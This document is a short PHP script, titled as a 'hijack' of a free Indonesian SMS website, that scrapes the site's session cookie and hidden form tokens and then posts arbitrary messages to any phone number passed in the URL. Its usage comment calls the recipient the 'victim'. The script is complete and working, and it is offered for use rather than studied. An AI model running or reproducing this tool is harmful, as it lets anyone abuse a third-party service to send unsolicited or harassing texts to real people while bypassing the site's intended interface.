smsgratis2indonesia.co.id Hijack

<?php
define("HOST", "http://www.smsgratis2indonesia.co.id");

    /**
        me@dwisiswanto.my.id
        --
        usage; http://localhost/this.php?no={victim number}&text={your text}
    **/

$num = @$_GET['no'];
$psn = @$_GET['text'];

if (isset($num) && isset($psn)) {
    $attrib = ambil();
    if ($attrib != null) {
        $exec = kirim($num, $psn, $attrib);
        if (preg_match("/has been sent/i", $exec)) {
            // true
            echo "Success";
        } else {
            // false, you can see what kind of error by $exec[0]
            echo "Fail";
        }
    }
} else {
    echo "`no` and `text` parameter can't be empty";
}

function hajar($yuerel, $dataAing = null, $head = null) {
    $cuih = curl_init();
    curl_setopt($cuih, CURLOPT_URL, $yuerel);
    if ($dataAing != null){
        curl_setopt($cuih, CURLOPT_POST, true);
        curl_setopt($cuih, CURLOPT_POSTFIELDS, $dataAing);
    }
    curl_setopt($cuih, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($cuih, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($cuih, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($cuih, CURLOPT_COOKIESESSION, true);
    curl_setopt($cuih, CURLOPT_HEADER, true);
    if ($head != null) {
        curl_setopt($cuih, CURLOPT_HTTPHEADER, $head);
    }
    curl_setopt($cuih, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1");
    $eks = curl_exec($cuih);
    curl_close($cuih);
    return array($eks, explode("\n", $eks));
}

function ambil() {
    $get = hajar(HOST)[0];
    preg_match_all("/Set-Cookie: (.*?);|input type=\"hidden\" name=\"(.*?)\" value=\"(.*?)\"|input type=hidden name='(.*?)' value='(.*?)'/s", $get, $attrib);
    if (isset($attrib)) {
        return $attrib;
    }
}

function kirim($num, $psn, $attrib) {
    $data = array("T1" => $attrib[3][1], "tgl" => $attrib[5][2], "auth" => $attrib[5][3], "ip" => $attrib[5][4], "noHP" => $num, "pesan" => $psn, "TOMBOL" => "KIRIM+SMS");
    $exec = hajar(HOST . "/kirimkan-sms", $data, array("Cookie: " . $attrib[1][0], "Referer: " . HOST));
    return $exec[0];
}
?>